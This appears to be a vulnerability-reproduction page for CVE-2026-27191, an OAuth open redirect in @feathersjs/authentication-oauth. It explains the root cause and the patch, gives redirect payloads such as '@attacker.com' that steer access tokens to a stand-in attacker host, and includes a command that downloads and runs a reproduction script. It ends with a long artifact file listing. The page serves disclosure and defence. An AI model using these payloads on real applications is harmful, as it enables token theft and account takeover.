Skip to content

CVE-2026-27191: Verified Reproduction

CVE-2026-27191: Feathers OAuth Open Redirect Account Takeover

CVE-2026-27191 is verified against @feathersjs/authentication-oauth · npm. Affected versions: <= 5.0.39. Fixed in 5.0.40. Vulnerability class: Open Redirect. This medium reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00109.

REPRO-2026-00109 @feathersjs/authentication-oauth · npm Open Redirect Feb 20, 2026 CVE entry .txt
Severity
MEDIUM
CVSS
6.1
Reproduced in
12m 54s
Tool calls
78
Spend
$0.31
01 · Overview

What Is CVE-2026-27191?

CVE-2026-27191 is a high-severity open redirect (CWE-601) in @feathersjs/authentication-oauth's OAuth callback handling that can be leveraged for account takeover via URL authority injection. Pruva reproduced it (reproduction REPRO-2026-00109).

02 · Severity & CVSS

CVE-2026-27191 Severity & CVSS Score

CVE-2026-27191 is rated medium severity, with a CVSS base score of 6.1 out of 10.

MEDIUM threat level
6.1 / 10 CVSS base
Weakness CWE-601 — URL Redirection to Untrusted Site ('Open Redirect')

Medium — meaningful risk under specific conditions. Schedule a fix in the normal cycle.

03 · Affected Versions

Affected @feathersjs/authentication-oauth Versions

@feathersjs/authentication-oauth · npm versions <= 5.0.39 are affected.

How to Reproduce CVE-2026-27191

$ pruva-verify REPRO-2026-00109
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00109/artifacts/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-27191

Reproduced by Pruva's autonomous agents — 78 tool calls over 13 min. Full root-cause analysis and the complete transcript are below.

Runnable proof: reproduction_steps.sh
Captured evidence: vulnerable test
How the agent worked 223 events · 78 tool calls · 13 min
13 minDuration
78Tool calls
47Reasoning steps
223Events
Agent activity over 13 min
Support
24
Repro
88
Variant
107
0:0012:54

Root Cause and Exploit Chain for CVE-2026-27191

Versions: <= 5.0.39

GHSA-ppf9-4ffw-hh4p: Feathers OAuth Open Redirect Enables Account Takeover


The @feathersjs/authentication-oauth package versions 5.0.39 and earlier contain an open redirect vulnerability in the OAuth callback flow. The vulnerability allows attackers to steal OAuth access tokens via URL authority injection by supplying malicious redirect parameters containing @, //, or \ characters. When these characters are concatenated with the base origin, they cause browsers to interpret the resulting URL as pointing to an attacker-controlled domain, causing the access token (sent as a URL fragment) to be delivered to the attacker's server instead of the legitimate application.


  • Package: @feathersjs/authentication-oauth (npm)
  • Affected Versions: <= 5.0.39
  • Patched Version: 5.0.40
  • Severity: HIGH
  • CWE: CWE-601 (Open Redirect)

Risk Level and Consequences:

  • Account Takeover: Attackers can obtain valid OAuth access tokens for victim accounts
  • Session Hijacking: Stolen tokens can be used to impersonate victims indefinitely
  • Data Breach: Full access to victim's data and functionality within the application
  • Easy Exploitation: Requires only crafting a malicious OAuth initiation URL with ?redirect=@attacker.com

Root Cause

The vulnerability exists in two locations in the OAuth flow:

1. Vulnerable URL Construction (strategy.ts)
// packages/authentication-oauth/src/strategy.ts (v5.0.39, line 98)
async getRedirect(data, params) {
  const queryRedirect = (params && params.redirect) || '';
  const redirect = await this.getAllowedOrigin(params);  // e.g., "https://target.com"
  
  // VULNERABLE: Direct string concatenation without validation
  const redirectUrl = `${redirect}${queryRedirect}`;
  // Result with malicious input: "https://target.com@attacker.com"
  // Browser parses as: username="target.com", host="attacker.com"
  
  const separator = redirectUrl.endsWith('?') ? '' : redirect.indexOf('#') !== -1 ? '?' : '#';
  const query = data.accessToken
    ? { access_token: data.accessToken }
    : { error: data.message || 'OAuth Authentication not successful' };

  return `${redirectUrl}${separator}${qs.stringify(query)}`;
}
2. Session Storage (service.ts)
// packages/authentication-oauth/src/service.ts (v5.0.39, line 171)
session.redirect = redirect;  // User-controlled input stored without validation
The Attack Mechanics

When an attacker provides ?redirect=@attacker.com:

  1. The OAuth flow completes successfully
  2. The getRedirect function concatenates: https://target.com + @attacker.com
  3. Result: https://target.com@attacker.com#access_token=eyJhbG...
  4. Browser URL parsing:
    • Protocol: https://
    • Username: target.com
    • Password: (empty)
    • Host: attacker.com
  5. The browser navigates to attacker.com with the access token in the fragment
  6. The attacker's server receives the token in the HTTP Referer header or via JavaScript accessing location.hash
The Fix

The patch (commit ee19a0ae9bc2ebf23b1fe598a1f7361981b65401) adds validation to reject dangerous characters:

// Added in v5.0.40
// Validate redirect parameter to prevent open redirect via URL authority injection
// Reject characters that could change the URL's authority: @, //, \
if (queryRedirect && /[@\\]|\/\//.test(queryRedirect)) {
  throw new NotAuthenticated('Invalid redirect path.');
}

Fix Commit: https://github.com/feathersjs/feathers/commit/ee19a0ae9bc2ebf23b1fe598a1f7361981b65401


Reproduction Steps

Automated Reproduction

Run the reproduction script:

cd repro
bash reproduction_steps.sh

What the script does:

  1. Creates a standalone JavaScript test that replicates the vulnerable getRedirect logic
  2. Tests three attack vectors:
    • @attacker.com - URL authority injection
    • //attacker.com - Protocol-relative URL injection
    • \\attacker.com - Backslash character injection
  3. Compares vulnerable (v5.0.39) vs patched (v5.0.40) implementations
  4. Demonstrates that the vulnerable code generates URLs where attacker.com becomes the host
Expected Evidence

The script produces output showing:

--- VULNERABLE VERSION (v5.0.39) ---
Generated URL: https://target.com@attacker.com#access_token=eyJhbGci...
URL Analysis:
  - Protocol: https:
  - Username: target.com
  - Host: attacker.com
  - Fragment (contains token): #access_token=eyJhbGci...

[VULNERABLE] Token would be sent to attacker.com!

--- PATCHED VERSION (v5.0.40) ---
Request rejected: Invalid redirect path.

[SAFE] Attack was blocked!

Evidence

Log Files
  • Reproduction Output: logs/reproduction.log
  • Script Execution: logs/reproduction_steps.sh execution captured in console output
Key Evidence Excerpts

The reproduction demonstrates the vulnerability by showing that:

  1. URL Authority Injection Works:

    • Input: redirect = "@attacker.com", base origin = "https://target.com"
    • Output URL: https://target.com@attacker.com#access_token=...
    • Browser parses host as attacker.com (not target.com)
  2. Access Token Exposure:

    • The OAuth access token is appended as a URL fragment (#access_token=...)
    • Fragments are sent to the server in the HTTP Referer header
    • JavaScript on the attacker's page can access window.location.hash
  3. Multiple Attack Vectors:

    • @ character: Changes URL authority to attacker domain
    • // sequence: Could create protocol-relative redirects
    • \ character: Some browsers treat backslash as forward slash
  4. Fix Validation:

    • The patched version rejects all malicious inputs with NotAuthenticated error
    • Regex pattern: /[@\\]|\/\// blocks all three attack vectors

Recommendations / Next Steps

Immediate Actions
  1. Upgrade to v5.0.40 or later:

    npm install @feathersjs/authentication-oauth@^5.0.40
    
  2. Verify OAuth Configuration:

    • Ensure origins array is properly configured in authentication settings
    • Origin values should NOT end with / (this was a precondition for the attack)
  3. Review Access Logs:

    • Check for suspicious OAuth callbacks with unusual redirect parameters
    • Look for redirect parameter values containing @, //, or \
Testing Recommendations
  1. Add Regression Tests:

    • Test that redirect=@evil.com is rejected
    • Test that redirect=//evil.com is rejected
    • Test that redirect=\evil.com is rejected
    • Test that legitimate redirect paths still work
  2. URL Parsing Validation:

    • Consider using a URL parsing library to validate redirect destinations
    • Implement allow-list validation for redirect domains
  3. Security Headers:

    • Implement Referrer-Policy: no-referrer to prevent token leakage via Referer headers
    • Consider Content-Security-Policy to restrict where redirects can lead
Long-term Improvements
  1. Origin Validation Enhancement:

    • The patch also improved origin validation to use exact matching instead of startsWith
    • This prevents attacks like target.com.evil.com matching target.com
  2. Session Security:

    • The patch also limits headers stored in the OAuth session to only the referer header
    • Prevents sensitive internal headers from being stored in session cookies

Additional Notes

Idempotency Confirmation

The reproduction script has been run twice consecutively with identical results:

  • Run 1: Successfully demonstrated vulnerability (exit code 0)
  • Run 2: Successfully demonstrated vulnerability (exit code 0)

The script is fully idempotent and produces consistent results.

Edge Cases and Limitations
  1. Preconditions:

    • The origins array must be configured for the vulnerability to be exploitable
    • Origin values must NOT end with / (e.g., https://target.com not https://target.com/)
    • Without origins configured, the redirect is taken directly from config (less vulnerable)
  2. Browser Behavior:

    • Different browsers may parse edge-case URLs slightly differently
    • The @ authority injection works consistently across all major browsers
    • Some older browsers may treat \ as /
  3. Attack Requirements:

    • Attacker must trick victim into clicking a malicious OAuth initiation link
    • Victim must complete OAuth authentication (login with provider)
    • Attacker must control the domain used in the redirect parameter
Credits

Vulnerability discovered by:

  • Abdelwahed Madani Yousfi (@vvxhid)
  • Edoardo Geraci (@b0-n0-b0)
  • Thomas Rinsma (@ThomasRinsma) From Codean Labs.

Report Generated: 2026-02-20 Vulnerability ID: GHSA-ppf9-4ffw-hh4p Reproduction Status: ✅ CONFIRMED

CVE-2026-27191 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:002:25
0:00
session startedaccounts/fireworks/models/kimi-k2p5 · ghsa-ppf9-4ffw-hh4p · ghsa-ppf
0:03
0:16
0:30
0:35
web search
0:54
0:57
web search
1:04
1:08
1:25
1:25
extract_facts
no facts extracted
1:32
1:32
1:32
supportrepro
2:13
2:13
2:13
2:19
2:19
2:22
2:25

Artifacts and Evidence for CVE-2026-27191

Scripts, logs, diffs, and output captured during the reproduction.

repro/rca_report.md8.7 KB
repro/reproduction_steps.sh8.1 KB
bundle/source.json5.5 KB
bundle/ticket.json8.3 KB
bundle/ticket.md2.1 KB
repro/feathers/.eslintrc.js0.9 KB
repro/feathers/.github/FUNDING.yml0.4 KB
repro/feathers/.github/contributing.md5.7 KB
repro/feathers/.github/issue_template.md0.9 KB
repro/feathers/.github/pull_request_template.md1.0 KB
repro/feathers/.github/workflows/nodejs.yml0.8 KB
repro/feathers/.github/workflows/update-dependencies.yml0.9 KB
repro/feathers/.gitignore0.7 KB
repro/feathers/.mocharc.json0.1 KB
repro/feathers/.nycrc0.6 KB
repro/feathers/.prettierrc0.1 KB
repro/feathers/CHANGELOG.md124.3 KB
repro/feathers/LICENSE1.1 KB
repro/feathers/README.md1.5 KB
repro/feathers/docs/.vitepress/components/Badges.vue0.3 KB
repro/feathers/docs/.vitepress/components/BlockQuote.vue0.7 KB
repro/feathers/docs/.vitepress/components/Contributors.vue0.4 KB
repro/feathers/docs/.vitepress/components/DatabaseBlock.vue0.3 KB
repro/feathers/docs/.vitepress/components/DatabaseSelect.vue0.6 KB
repro/feathers/docs/.vitepress/components/FeaturesList.vue2.0 KB
repro/feathers/docs/.vitepress/components/LanguageBlock.vue0.3 KB
repro/feathers/docs/.vitepress/components/LanguageSelect.vue0.6 KB
repro/feathers/docs/.vitepress/components/ListItem.vue1.5 KB
repro/feathers/docs/.vitepress/components/Logo.vue1.8 KB
repro/feathers/docs/.vitepress/components/Select.vue1.8 KB
repro/feathers/docs/.vitepress/components/Tab.vue0.8 KB
repro/feathers/docs/.vitepress/components/Tabs.vue1.6 KB
repro/feathers/docs/.vitepress/components/TeamMember.vue1.7 KB
repro/feathers/docs/.vitepress/components.d.ts1.6 KB
repro/feathers/docs/.vitepress/config.nav.ts0.6 KB
repro/feathers/docs/.vitepress/config.sidebar.ts10.9 KB
repro/feathers/docs/.vitepress/config.ts3.1 KB
repro/feathers/docs/.vitepress/meta.ts1.3 KB
repro/feathers/docs/.vitepress/scripts/assets.ts2.9 KB
repro/feathers/docs/.vitepress/style/element-plus.scss0.2 KB
repro/feathers/docs/.vitepress/style/main.postcss2.8 KB
repro/feathers/docs/.vitepress/style/vars.postcss2.6 KB
repro/feathers/docs/.vitepress/theme/FeathersLayout.vue0.3 KB
repro/feathers/docs/.vitepress/theme/index.ts1.4 KB
repro/feathers/docs/.vitepress/theme/pwa.ts0.1 KB
repro/feathers/docs/.vitepress/theme/store.ts0.2 KB
repro/feathers/docs/.vitepress/vite-env.d.ts0.2 KB
repro/feathers/docs/api/application.md11.5 KB
repro/feathers/docs/api/authentication/client.md8.6 KB
repro/feathers/docs/api/authentication/hook.md1.9 KB
repro/feathers/docs/api/authentication/index.md1.3 KB
repro/feathers/docs/api/authentication/jwt.md4.2 KB
repro/feathers/docs/api/authentication/local.md6.5 KB
repro/feathers/docs/api/authentication/oauth.md18.5 KB
repro/feathers/docs/api/authentication/service.md15.1 KB
repro/feathers/docs/api/authentication/strategy.md2.6 KB
repro/feathers/docs/api/channels.md18.3 KB
repro/feathers/docs/api/client/rest.md16.0 KB
repro/feathers/docs/api/client/socketio.md13.4 KB
repro/feathers/docs/api/client.md7.7 KB
repro/feathers/docs/api/configuration.md4.6 KB
repro/feathers/docs/api/databases/adapters.md1.6 KB
repro/feathers/docs/api/databases/common.md9.4 KB
repro/feathers/docs/api/databases/knex.md18.2 KB
repro/feathers/docs/api/databases/memory.md2.0 KB
repro/feathers/docs/api/databases/mongodb.md21.3 KB
repro/feathers/docs/api/databases/querying.md5.0 KB
repro/feathers/docs/api/errors.md4.8 KB
repro/feathers/docs/api/events.md6.1 KB
repro/feathers/docs/api/express.md19.5 KB
repro/feathers/docs/api/hooks.md14.4 KB
repro/feathers/docs/api/index.md2.9 KB
repro/feathers/docs/api/koa.md8.0 KB
repro/feathers/docs/api/schema/index.md1.6 KB
repro/feathers/docs/api/schema/resolvers.md14.8 KB
repro/feathers/docs/api/schema/schema.md8.1 KB
repro/feathers/docs/api/schema/typebox.md39.7 KB
repro/feathers/docs/api/schema/validators.md5.6 KB
repro/feathers/docs/api/services.md13.0 KB
repro/feathers/docs/api/socketio.md6.7 KB
repro/feathers/docs/auto-imports.d.ts0.2 KB
repro/feathers/docs/comparison.md0.7 KB
repro/feathers/docs/components/CTAButton.vue1.0 KB
repro/feathers/docs/components/Footer.vue3.6 KB
repro/feathers/docs/components/FooterList.vue0.3 KB
repro/feathers/docs/components/HomeCTATextSection.vue0.3 KB
repro/feathers/docs/components/HomeCreateFirstApp.vue0.5 KB
repro/feathers/docs/components/HomeFeature1.vue0.5 KB
repro/feathers/docs/components/HomeFeature1Content.vue0.5 KB
repro/feathers/docs/components/HomeFeature2.vue0.5 KB
repro/feathers/docs/components/HomeFeature2Content.vue0.4 KB
repro/feathers/docs/components/HomeFeatureGrid.vue1.9 KB
repro/feathers/docs/components/HomeFeatureGridCard.vue0.4 KB
repro/feathers/docs/components/HomeHero.vue4.8 KB
repro/feathers/docs/components/HomeIndustryPartners.vue0.7 KB
repro/feathers/docs/components/HomeQuickStart.vue0.4 KB
repro/feathers/docs/cookbook/authentication/_discord.md2.9 KB
repro/feathers/docs/cookbook/authentication/anonymous.md2.9 KB
repro/feathers/docs/cookbook/authentication/apiKey.md5.2 KB
repro/feathers/docs/cookbook/authentication/auth0.md3.2 KB
repro/feathers/docs/cookbook/authentication/facebook.md4.8 KB
repro/feathers/docs/cookbook/authentication/firebase.md8.8 KB
repro/feathers/docs/cookbook/authentication/google.md3.1 KB
repro/feathers/docs/cookbook/authentication/revoke-jwt.md3.6 KB
repro/feathers/docs/cookbook/authentication/stateless.md2.0 KB
repro/feathers/docs/cookbook/deploy/docker.md0.7 KB
repro/feathers/docs/cookbook/express/file-uploading.md13.7 KB
repro/feathers/docs/cookbook/express/view-engine.md4.5 KB
repro/feathers/docs/cookbook/general/client-test.md3.9 KB
repro/feathers/docs/cookbook/general/scaling.md2.9 KB
repro/feathers/docs/cookbook/index.md0.4 KB
repro/feathers/docs/ecosystem/PackageCard.vue4.3 KB
repro/feathers/docs/ecosystem/Packages.vue7.1 KB
repro/feathers/docs/ecosystem/helpers.ts0.8 KB
repro/feathers/docs/ecosystem/index.md0.6 KB
repro/feathers/docs/ecosystem/types.ts0.9 KB
repro/feathers/docs/ecosystem/useQuery.ts1.4 KB
repro/feathers/docs/feathers-vs-firebase.md1.7 KB
repro/feathers/docs/feathers-vs-loopback.md2.2 KB
repro/feathers/docs/feathers-vs-meteor.md2.1 KB
repro/feathers/docs/feathers-vs-nest.md0.7 KB
repro/feathers/docs/feathers-vs-sails.md2.2 KB
repro/feathers/docs/guides/basics/authentication.md2.4 KB
repro/feathers/docs/guides/basics/generator.md4.0 KB
repro/feathers/docs/guides/basics/hooks.md8.3 KB
repro/feathers/docs/guides/basics/login.md9.2 KB
repro/feathers/docs/guides/basics/schemas.md19.4 KB
repro/feathers/docs/guides/basics/services.md8.0 KB
repro/feathers/docs/guides/basics/starting.md13.6 KB
repro/feathers/docs/guides/basics/testing.md11.0 KB
repro/feathers/docs/guides/cli/app.md3.5 KB
repro/feathers/docs/guides/cli/app.test.md0.5 KB
repro/feathers/docs/guides/cli/authentication.md1.4 KB
repro/feathers/docs/guides/cli/channels.md0.1 KB
repro/feathers/docs/guides/cli/client.md1.4 KB
repro/feathers/docs/guides/cli/client.test.md1.5 KB
repro/feathers/docs/guides/cli/configuration.md0.9 KB
repro/feathers/docs/guides/cli/custom-environment-variables.md1.5 KB
repro/feathers/docs/guides/cli/databases.md2.6 KB
repro/feathers/docs/guides/cli/declarations.md3.5 KB
repro/feathers/docs/guides/cli/default.json.md3.1 KB
repro/feathers/docs/guides/cli/hook.md3.6 KB
repro/feathers/docs/guides/cli/index.md2.0 KB
repro/feathers/docs/guides/cli/knexfile.md0.8 KB
repro/feathers/docs/guides/cli/log-error.md0.3 KB
repro/feathers/docs/guides/cli/logger.md0.8 KB
repro/feathers/docs/guides/cli/package.md0.3 KB
repro/feathers/docs/guides/cli/prettierrc.md0.6 KB
repro/feathers/docs/guides/cli/service.class.md11.1 KB
repro/feathers/docs/guides/cli/service.md3.2 KB
repro/feathers/docs/guides/cli/service.schemas.md4.3 KB
repro/feathers/docs/guides/cli/service.shared.md0.9 KB
repro/feathers/docs/guides/cli/service.test.md2.0 KB
repro/feathers/docs/guides/cli/tsconfig.md0.0 KB
repro/feathers/docs/guides/cli/validators.md1.4 KB
repro/feathers/docs/guides/frameworks.md1.8 KB
repro/feathers/docs/guides/frontend/javascript.md15.4 KB
repro/feathers/docs/guides/index.md1.7 KB
repro/feathers/docs/guides/migrating.md13.5 KB
repro/feathers/docs/guides/security.md3.5 KB
repro/feathers/docs/guides/whats-new.md18.1 KB
repro/feathers/docs/help/faq.md18.3 KB
repro/feathers/docs/help/index.md1.7 KB
repro/feathers/docs/index.md0.8 KB
repro/feathers/docs/package.json1.3 KB
repro/feathers/docs/public/_headers0.5 KB
repro/feathers/docs/public/_redirects1.3 KB
repro/feathers/docs/public/apple-touch-icon.png12.2 KB
repro/feathers/docs/public/bg.png12.2 KB
repro/feathers/docs/public/favicon.ico17.8 KB
repro/feathers/docs/public/feathers-chat.css10.7 KB
repro/feathers/docs/public/feathersjs-colored.svg1.7 KB
repro/feathers/docs/public/feathersjs.svg1.7 KB
repro/feathers/docs/public/img/client-bird.svg31.9 KB
repro/feathers/docs/public/img/coding-bird.svg60.8 KB
repro/feathers/docs/public/img/favicon.ico5.4 KB
repro/feathers/docs/public/img/favicon.png1.2 KB
repro/feathers/docs/public/img/feathers-isotype.svg1.8 KB
repro/feathers/docs/public/img/feathers-logo-horizontal-inverted.svg10.8 KB
repro/feathers/docs/public/img/feathers-logo-horizontal.svg10.9 KB
repro/feathers/docs/public/img/feathers-logo-wide.png18.1 KB
repro/feathers/docs/public/img/feature-icons/Fast_Icon.svg3.3 KB
repro/feathers/docs/public/img/feature-icons/Flexible_Icon.svg1.6 KB
repro/feathers/docs/public/img/feature-icons/Universal_Icon.svg11.1 KB
repro/feathers/docs/public/img/illustration/1.front-layer.svg4.6 KB
repro/feathers/docs/public/img/illustration/2.birds-layer.svg49.4 KB
repro/feathers/docs/public/img/illustration/3.trees-layer.svg20.8 KB
repro/feathers/docs/public/img/illustration/4.tree-house-layer.svg15.6 KB
repro/feathers/docs/public/img/illustration/5.land-layer.svg81.5 KB
repro/feathers/docs/public/img/illustration/6.green-mountains-layer.svg16.5 KB
repro/feathers/docs/public/img/illustration/7.rocky-mountains-layer.svg6.5 KB
repro/feathers/docs/public/img/illustration/8.clouds-layer.svg11.3 KB
repro/feathers/docs/public/img/illustration/9.sky-layer.svg177.3 KB
repro/feathers/docs/public/img/illustration/Final_Header_Illustration.jpg120.4 KB
repro/feathers/docs/public/img/illustration/birds-hero-day.svg122.5 KB
repro/feathers/docs/public/img/illustration/birds-hero-night.svg135.9 KB
repro/feathers/docs/public/img/illustration/combined-centered.jpg194.6 KB
repro/feathers/docs/public/img/illustration/combined-night-centered.jpg184.1 KB
repro/feathers/docs/public/img/illustration/combined-night.jpg180.4 KB
repro/feathers/docs/public/img/illustration/combined-night.svg336.0 KB
repro/feathers/docs/public/img/illustration/combined.jpg188.5 KB
repro/feathers/docs/public/img/illustration/combined.svg363.2 KB
repro/feathers/docs/public/img/illustration/hero-day-bg.svg0.8 KB
repro/feathers/docs/public/img/illustration/hero-day-foreground.svg121.3 KB
repro/feathers/docs/public/img/illustration/hero-day-sun-solo.svg1.3 KB
repro/feathers/docs/public/img/illustration/hero-day-sun.svg1.5 KB
repro/feathers/docs/public/img/illustration/hero-night-bg.svg0.8 KB
repro/feathers/docs/public/img/illustration/hero-night-foreground.svg108.9 KB
repro/feathers/docs/public/img/illustration/hero-night-moon-solo.svg26.4 KB
repro/feathers/docs/public/img/illustration/hero-night-moon.svg26.5 KB
repro/feathers/docs/public/img/isotype-inverted.svg1.8 KB
repro/feathers/docs/public/img/main-character-bench.svg8.4 KB
repro/feathers/docs/public/img/main-character-coding.svg53.7 KB
repro/feathers/docs/public/img/main-character-starting.svg10.8 KB
repro/feathers/docs/public/img/partners/1.jpg48.1 KB
repro/feathers/docs/public/img/partners/2.jpg40.2 KB
repro/feathers/docs/public/img/partners/3.jpg47.2 KB
repro/feathers/docs/public/img/partners/4.jpg41.2 KB
repro/feathers/docs/public/img/partners/5.jpg32.8 KB
repro/feathers/docs/public/img/professor-bird-server.svg12.1 KB
repro/feathers/docs/public/img/server-bird.svg58.9 KB
repro/feathers/docs/public/img/tutorial/docsVersionDropdown.png24.5 KB
repro/feathers/docs/public/img/tutorial/localeDropdown.png29.3 KB
repro/feathers/docs/public/logo-shadow.svg3.2 KB
repro/feathers/docs/public/logo.svg1.7 KB
repro/feathers/docs/public/netlify.svg20.5 KB
repro/feathers/docs/public/og.png96.8 KB
repro/feathers/docs/public/og.svg66.5 KB
repro/feathers/docs/public/pwa-192x192.png6.5 KB
repro/feathers/docs/public/pwa-512x512.png17.9 KB
repro/feathers/docs/public/robots.txt0.0 KB
repro/feathers/docs/tsconfig.json1.3 KB
repro/feathers/docs/vite.config.ts3.9 KB
repro/feathers/generators/package/index.tpl.ts0.4 KB
repro/feathers/generators/package/license.tpl.ts1.4 KB
repro/feathers/generators/package/package.json.tpl.ts1.8 KB
repro/feathers/generators/package/readme.md.tpl.ts1.1 KB
repro/feathers/generators/package/test.tpl.ts0.6 KB
repro/feathers/generators/package/tsconfig.json.tpl.ts0.4 KB
repro/feathers/generators/package.ts1.2 KB
repro/feathers/lerna.json0.5 KB
repro/feathers/package.json2.6 KB
repro/feathers/packages/adapter-commons/CHANGELOG.md33.7 KB
repro/feathers/packages/adapter-commons/LICENSE1.1 KB
repro/feathers/packages/adapter-commons/README.md1.0 KB
repro/feathers/packages/adapter-commons/package.json1.6 KB
repro/feathers/packages/adapter-commons/src/declarations.ts6.2 KB
repro/feathers/packages/adapter-commons/src/index.ts0.8 KB
repro/feathers/packages/adapter-commons/src/query.ts4.5 KB
repro/feathers/packages/adapter-commons/src/service.ts6.8 KB
repro/feathers/packages/adapter-commons/src/sort.ts2.9 KB
repro/feathers/packages/adapter-commons/test/commons.test.ts1.8 KB
repro/feathers/packages/adapter-commons/test/fixture.ts3.5 KB
repro/feathers/packages/adapter-commons/test/query.test.ts8.3 KB
repro/feathers/packages/adapter-commons/test/service.test.ts5.5 KB
repro/feathers/packages/adapter-commons/test/sort.test.ts9.0 KB
repro/feathers/packages/adapter-commons/tsconfig.json0.1 KB
repro/feathers/packages/adapter-tests/CHANGELOG.md24.3 KB
repro/feathers/packages/adapter-tests/LICENSE1.1 KB
repro/feathers/packages/adapter-tests/README.md0.9 KB
repro/feathers/packages/adapter-tests/package.json1.4 KB
repro/feathers/packages/adapter-tests/src/basic.ts1.3 KB
repro/feathers/packages/adapter-tests/src/declarations.ts2.4 KB
repro/feathers/packages/adapter-tests/src/index.ts1.6 KB
repro/feathers/packages/adapter-tests/src/methods.ts23.1 KB
repro/feathers/packages/adapter-tests/src/syntax.ts10.1 KB
repro/feathers/packages/adapter-tests/test/index.test.ts1.8 KB
repro/feathers/packages/adapter-tests/tsconfig.json0.1 KB
repro/feathers/packages/authentication/CHANGELOG.md118.9 KB
repro/feathers/packages/authentication/LICENSE1.1 KB
repro/feathers/packages/authentication/README.md0.8 KB
repro/feathers/packages/authentication/package.json2.0 KB
repro/feathers/packages/authentication/src/core.ts9.5 KB
repro/feathers/packages/authentication/src/hooks/authenticate.ts2.2 KB
repro/feathers/packages/authentication/src/hooks/connection.ts0.5 KB
repro/feathers/packages/authentication/src/hooks/event.ts0.5 KB
repro/feathers/packages/authentication/src/hooks/index.ts0.1 KB
repro/feathers/packages/authentication/src/index.ts0.5 KB
repro/feathers/packages/authentication/src/jwt.ts5.5 KB
repro/feathers/packages/authentication/src/options.ts0.6 KB
repro/feathers/packages/authentication/src/service.ts6.5 KB
repro/feathers/packages/authentication/src/strategy.ts0.7 KB
repro/feathers/packages/authentication/test/core.test.ts12.8 KB
repro/feathers/packages/authentication/test/fixtures.ts1.5 KB
repro/feathers/packages/authentication/test/hooks/authenticate.test.ts6.1 KB
repro/feathers/packages/authentication/test/hooks/event.test.ts1.9 KB
repro/feathers/packages/authentication/test/jwt.test.ts12.5 KB
repro/feathers/packages/authentication/test/service.test.ts9.0 KB
repro/feathers/packages/authentication/tsconfig.json0.1 KB
repro/feathers/packages/authentication-client/CHANGELOG.md47.4 KB
repro/feathers/packages/authentication-client/LICENSE1.1 KB
repro/feathers/packages/authentication-client/README.md0.9 KB
repro/feathers/packages/authentication-client/package.json1.9 KB
repro/feathers/packages/authentication-client/src/core.ts7.0 KB
repro/feathers/packages/authentication-client/src/hooks/authentication.ts0.6 KB
repro/feathers/packages/authentication-client/src/hooks/index.ts0.1 KB
repro/feathers/packages/authentication-client/src/hooks/populate-header.ts0.6 KB
repro/feathers/packages/authentication-client/src/index.ts2.1 KB
repro/feathers/packages/authentication-client/src/storage.ts0.9 KB
repro/feathers/packages/authentication-client/test/index.test.ts6.3 KB
repro/feathers/packages/authentication-client/test/integration/commons.ts3.0 KB
repro/feathers/packages/authentication-client/test/integration/express.test.ts1.1 KB
repro/feathers/packages/authentication-client/test/integration/fixture.ts1.4 KB
repro/feathers/packages/authentication-client/test/integration/socketio.test.ts2.9 KB
repro/feathers/packages/authentication-client/tsconfig.json0.1 KB
repro/feathers/packages/authentication-local/CHANGELOG.md44.1 KB
repro/feathers/packages/authentication-local/LICENSE1.1 KB
repro/feathers/packages/authentication-local/README.md0.9 KB
repro/feathers/packages/authentication-local/package.json1.9 KB
repro/feathers/packages/authentication-local/src/hooks/hash-password.ts2.1 KB
repro/feathers/packages/authentication-local/src/hooks/protect.ts1.2 KB
repro/feathers/packages/authentication-local/src/index.ts0.9 KB
repro/feathers/packages/authentication-local/src/strategy.ts3.9 KB
repro/feathers/packages/authentication-local/test/fixture.ts1.5 KB
repro/feathers/packages/authentication-local/test/hooks/hash-password.test.ts2.4 KB
repro/feathers/packages/authentication-local/test/hooks/protect.test.ts4.2 KB
repro/feathers/packages/authentication-local/test/strategy.test.ts6.1 KB
repro/feathers/packages/authentication-local/tsconfig.json0.1 KB
repro/feathers/packages/authentication-oauth/CHANGELOG.md31.1 KB
repro/feathers/packages/authentication-oauth/LICENSE1.1 KB
repro/feathers/packages/authentication-oauth/README.md0.9 KB
repro/feathers/packages/authentication-oauth/package.json2.2 KB
repro/feathers/packages/authentication-oauth/src/index.ts2.0 KB
repro/feathers/packages/authentication-oauth/src/service.ts5.0 KB
repro/feathers/packages/authentication-oauth/src/strategy.ts5.0 KB
repro/feathers/packages/authentication-oauth/src/utils.ts2.9 KB
repro/feathers/packages/authentication-oauth/test/index.test.ts0.8 KB
repro/feathers/packages/authentication-oauth/test/service.test.ts1.5 KB
repro/feathers/packages/authentication-oauth/test/strategy.test.ts5.5 KB
repro/feathers/packages/authentication-oauth/test/utils/fixture.ts2.5 KB
repro/feathers/packages/authentication-oauth/test/utils/provider.ts11.2 KB
repro/feathers/packages/authentication-oauth/test/utils.test.ts2.1 KB
repro/feathers/packages/authentication-oauth/tsconfig.json0.1 KB
repro/feathers/packages/cli/CHANGELOG.md19.1 KB
repro/feathers/packages/cli/LICENSE1.1 KB
repro/feathers/packages/cli/README.md0.7 KB
repro/feathers/packages/cli/bin/feathers.js0.1 KB
repro/feathers/packages/cli/package.json2.4 KB
repro/feathers/packages/cli/src/index.ts2.0 KB
repro/feathers/packages/cli/test/cli.test.ts0.2 KB
repro/feathers/packages/cli/tsconfig.json0.2 KB
repro/feathers/packages/client/CHANGELOG.md72.1 KB
repro/feathers/packages/client/LICENSE1.1 KB
repro/feathers/packages/client/README.md0.8 KB
repro/feathers/packages/client/core.js0.0 KB
repro/feathers/packages/client/package.json2.3 KB
repro/feathers/packages/client/src/core.ts0.0 KB
repro/feathers/packages/client/src/feathers.ts0.4 KB
repro/feathers/packages/client/test/fetch.test.ts0.6 KB
repro/feathers/packages/client/test/fixture.ts1.9 KB
repro/feathers/packages/client/test/socketio.test.ts0.7 KB
repro/feathers/packages/client/test/superagent.test.ts0.5 KB
repro/feathers/packages/client/tsconfig.json0.1 KB
repro/feathers/packages/client/webpack/core.js0.1 KB
repro/feathers/packages/client/webpack/core.min.js0.1 KB
repro/feathers/packages/client/webpack/create-config.js1.2 KB
repro/feathers/packages/client/webpack/feathers.js0.1 KB
repro/feathers/packages/client/webpack/feathers.min.js0.1 KB
repro/feathers/packages/commons/CHANGELOG.md40.5 KB
